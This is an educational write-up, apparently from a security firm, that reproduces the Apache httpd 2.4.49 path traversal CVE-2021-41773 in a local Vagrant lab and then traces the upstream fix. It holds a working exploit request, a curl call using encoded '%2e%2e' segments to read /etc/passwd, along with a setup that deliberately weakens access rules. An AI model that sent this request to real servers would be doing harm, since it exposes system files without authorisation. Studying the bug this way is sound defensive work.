Tracing vulnerabilities - a hacker mindset approach to CVE-2021-41773

Introduction:

To be able to take a newly discovered piece of information and turn it into a working exploit is no easy task by any stretch of the imagination, let alone one that always ends up the way you expect it. We will use logical thinking methods to reproduce and replicate CVE-2021-41773

In the last week of September, the world saw a strange vulnerability surfacing which looked like a vanilla directory traversal attack on apache httpd, but at this early stage we could not know how it was introduced or the inner workings of it. The apache httpd modcgi directory traversal vulnerability was given CVE number 2021-41773, described as a path normalization bug on Apache httpd version 2.4.49. The bug leads to the mapping of URLs to files outside the directories configured by Alias-like directives, especially if these files are not protected by the usual default configuration "require all denied".

Investigating CVE-2021-41773:

In this post, we are going to take CVE-2021-41773 and use it as a case study to learn how to be able to reproduce this bugs and eventually write a working exploit.

We need to

  • Learn about this vulnerability and what it affects
  • Be able to isolate and narrow down our scope with httpd source code instead of fuzzing the binary
  • Create a testing environment and try our theories

In order to take a CVE and trace it back, we need to look at the advisory https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773 from there, we know that we need:

  1. A file outside default directories, /etc/passwd should do
  2. The vulnerable apache-2.4.49 instance

Configuring the environment:

If you like to use automation tools to takle time-consuming tasks and let them run in the background, you need some tooling like HashiCorp's Vagrant or Docker.

Vagrant is a tool by HashiCorp for building and managing virtual machine environments in a single workflow; you can choose an operating system, install apache httpd and build a custom configuration file then start the server without the need to do every step manually. In contrast, Docker is a whole platform for running just the application with its runtime, so no need for a complete operating system like in the case of Vagrant.

We will use a vagrant file with a provisioning script to configure our test machine and have a reproducible results.

Vagrantfile

Vagrant.configure("2") do |config|
  config.vm.box = "geerlingguy/ubuntu1604"
  config.vm.hostname = "alzubarah"
  config.vm.box_check_update = false
  config.vm.network "forwarded_port", guest: 80, host: 8080, host_ip: "127.0.0.1"
  config.vm.network "private_network", ip: "192.168.33.10"
  config.vm.provider "virtualbox" do |vb|
    vb.name = "apache"
    vb.gui = false
    vb.memory = "1024"
  end
 config.vm.provision "shell", path: "provision.sh"
end


provision.sh

#!/usr/bin/env bash
apt update
apt install -y libaprutil1-dev gcc libpcre3-dev make vim
wget https://downloads.apache.org/httpd/httpd-2.4.49.tar.bz2
bzip2 -d httpd-2.4.49.tar.bz2
tar xvf httpd-2.4.49.tar
cd httpd-2.4.49
./configure --enable-cgid
make
make install
chown -R daemon:daemon /usr/local/apache2/
sudo sed -i '0,/Require all denied/{s/Require all denied/Require all granted/}' /usr/local/apache2/conf/httpd.conf
sudo /usr/local/apache2/bin/apachectl start


we also need to change the default httpd configuration from

<Directory />
  AllowOverride none
  Require all  denied 
<Directory />


to look like this, we do it in the previous provisioning script.

<Directory />
  AllowOverride none
  Require all  granted 
<Directory />


And that's it. We should be able to run "vagrant up" and wait for our VM to boot. Once we verify everything works correctly by visiting our localhost on port 8080, we should see the famous "It works!" message.

powershell invoke-web-request show apache is working

Fuzzing:

Now that we have our environment setup, we need to re-discover the vulnerability by either looking at the source code or by fuzzing for directory traversal.

Fuzzing is an automated software testing technique that attempts to find vulnerable software bugs by randomly feeding invalid and unexpected inputs and data into our target application. In contrast, Directory traversal is a web application security vulnerability that allows an attacker to read arbitrary files on the server running an application. Think of being able to read configuration files that contain credentials for back-end systems and sensitive files that you should not be able to view or read.
We are going to use Burp Suite intruder to perform our fuzzing.

We fuzz the CGI path "127.0.0.1:8080/cgi-bin/" to read /etc/passwd file from the underlying operating system by sending directory traversal requests, and we need to URL encode directory characters when fuzzing.

While fuzzing the cgi-bin directory for directory traversal attacks, we should be able to just URL encode the "." Character, no need to complicate stuff for now. We see in request number 5 we have a response code 200,which signifies our request returned data; also, the length of our response is bigger than the previous requests.

running directory traversal fuzzing using burp suite intruder

As we can see in the response, we need to traverse four layers to reach the root directory, and we need to URL Encode the dot character for the exploit to work.

curl http://127.0.0.1:8080/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

This request will result in successfully reading the "passwd" file from our ubuntu instance.

exploiting directory traversal to read /etc/passwd file

Perfect! We can replicate the bug. Now let's trace how it was introduced by looking at the Apache security page https://httpd.apache.org/security/vulnerabilities_24.html. We see the fix was introduced by r1893775 in 2.4.x

fix information from apache source tree

Visiting the apache source tree at https://svn.apache.org/viewvc/ we can query the change by checking revision 1893775 at https://svn.apache.org/viewvc?view=revision&revision=1893775.

log message for fix revision

So we see the commit message from Yann on the function ap_normalize_path in util.c that starts at line 502, the added code starts in line 571 https://svn.apache.org/viewvc/httpd/httpd/branches/2.4.x/server/util.c?view=markup&pathrev=1893775#l571 , so let's compare this function between versions.

To do that, we need to see the diff between the old and new files by navigating to the diff of the fix found at https://svn.apache.org/viewvc/httpd/httpd/branches/2.4.x/server/util.c?r1=1893775&r2=1893774&pathrev=1893775 .

which is an edit to the if statement to include the dot "." Character as well as the URL encoding for the same characters "%", "2", "e", and "E".

Remove /xx/../ segments (or /xx/.%2e/ when AP_NORMALIZE_DECODE_UNRESERVED is set 
since we decoded only the first dot above).

The added code.

diff of new changes

From what we see on the code, we know that we can no longer use "." Or "%" "2 " "e" "E" to perform directory traversal, which solves the issue of path normalization. To confirm the fix, we create another virtual machine and change the source code to be httpd-2.4.50 with the same configuration, then send the exact request to see it's fixed.

apache 2.4.50 fixed directory traversal attack



Conclusion:

In conclusion, we have understood the CVE advisory, created a suitable environment for testing, and replicated the bug to have a better overall understanding of how new features in software can introduce security risks and how to solve them.



References and Sources:

Special Thanks:

We would like to thank James McKinlay from our partner Afinitas global for his technical review of the article